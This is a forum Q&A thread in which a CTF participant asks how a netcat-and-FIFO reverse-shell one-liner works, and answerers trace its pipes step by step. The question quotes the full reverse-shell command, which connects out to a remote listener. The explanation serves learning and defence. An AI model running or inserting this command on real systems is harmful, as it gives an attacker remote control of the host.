While doing a CTF challenge on a platform, I needed a reverse shell but couldn't get one working so I looked at the processes and found one reverse shell code:

rm /tmp/m;mkfifo /tmp/m;cat /tmp/m|/bin/sh -i 2>&1|nc 6101 >/tmp/m

Which actually worked but I can't actually understand how the pipes are working, where is it sending data to, etc. Can someone please explain this?


This sets up a remotely-controlled shell on the system. The inputs and outputs are as follows:

  • cat /tmp/m reads from the /tmp/m FIFO and writes it to ...
  • |/bin/sh -i 2>&1 which executes the commands it reads and sends its output (both standard output and standard error) to ...
  • |nc 6101 which connects to and writes to
  • >/tmp/m the FIFO.

Thus the remote system can feed commands, which are transmitted through nc, written to the FIFO, read by cat, interpreted by sh, and the output of those commands is sent back to the remote system through nc.

  • Isn't tmp/m initially empty? What is it reading then? – sh.3.ll Mar 19 '20 at 7:16
  • 1
    Yes, it’s initially empty; it reads whatever is sent over the network. – Stephen Kitt Mar 19 '20 at 8:13

Your Answer

By clicking “Post Your Answer”, you agree to our terms of service, privacy policy and cookie policy

Not the answer you're looking for? Browse other questions tagged or ask your own question.